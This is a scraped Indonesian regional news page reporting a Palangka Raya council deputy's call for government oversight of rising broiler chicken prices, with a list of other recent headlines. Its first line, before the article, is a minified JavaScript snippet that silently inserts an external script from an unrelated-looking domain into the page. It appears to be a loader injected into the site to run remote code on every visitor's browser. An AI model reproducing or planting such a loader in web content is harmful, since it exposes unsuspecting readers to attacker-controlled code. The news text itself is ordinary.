(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD Kota Palangka Raya

DPRD Kota Palangka Raya Mendorong Pengawasan Harga Ayam Potong


KANALKALIMANTAN.COM, PALANGKARAYA- Keterlambatan proses panen ayam potong dan fluktuasi harga pakan unggas telah menjadi perhatian serius bagi Pemerintah Kota Palangka Raya. Upaya menjaga ketersediaan bahan pangan dan stabilitas harga barang dan jasa di pasaran adalah prioritas utama untuk menjaga daya beli masyarakat dan mencegah inflasi yang berlebihan, terutama pada komoditas pangan seperti daging.

Wakil Ketua I DPRD Palangka Raya, Wahid Yusuf, mengakui bahwa kenaikan harga ayam potong di kota ini sebagian besar disebabkan oleh kekurangan pasokan. Menurutnya, perlu tindakan konkret untuk mengatasi kondisi ini.

“Saya melihat lebih kepada strategi agar harga di pasaran mengalami kenaikan,” ujar Wahid pada Senin (05/6/2023) di Palangka Raya.

Legislator dari Fraksi Golkar ini menekankan perlunya campur tangan pemerintah dalam mengawasi harga daging ayam. Salah satu langkah yang dapat diambil adalah mengawasi penetapan harga jual.

Wahid juga menyoroti potensi kenaikan harga ayam potong karena kenaikan harga pakan unggas. Oleh karena itu, ia mendesak pemerintah daerah untuk mengkaji kenaikan harga ayam potong ini dan memastikan bahwa kebijakan yang diterapkan tidak mengizinkan kenaikan harga yang tidak wajar.

“Pengawasan dan pengendalian ini penting, sehingga kenaikan harga ayam potong tidak melebihi standar yang wajar. Pedagang tidak boleh seenaknya menaikkan harga sesuai keinginannya,” tegas Wahid.

Seperti yang diketahui, harga ayam potong di Kota Palangka Raya mengalami kenaikan yang signifikan. Di Pasar Jalan Rajawali, harga ayam potong mencapai Rp50 ribu per kilogram, sedangkan sebelumnya dijual di bawah Rp50 ribu per kilogram. Peningkatan harga ini memicu perhatian dan kebutuhan akan langkah-langkah pengawasan yang lebih ketat dalam mengatur harga pangan penting ini.(www.kanalkalimantan.com/hms).

Reporter : hms
Editor : rdy


Muhammad Andi

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

10 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

11 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

12 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

15 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

19 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.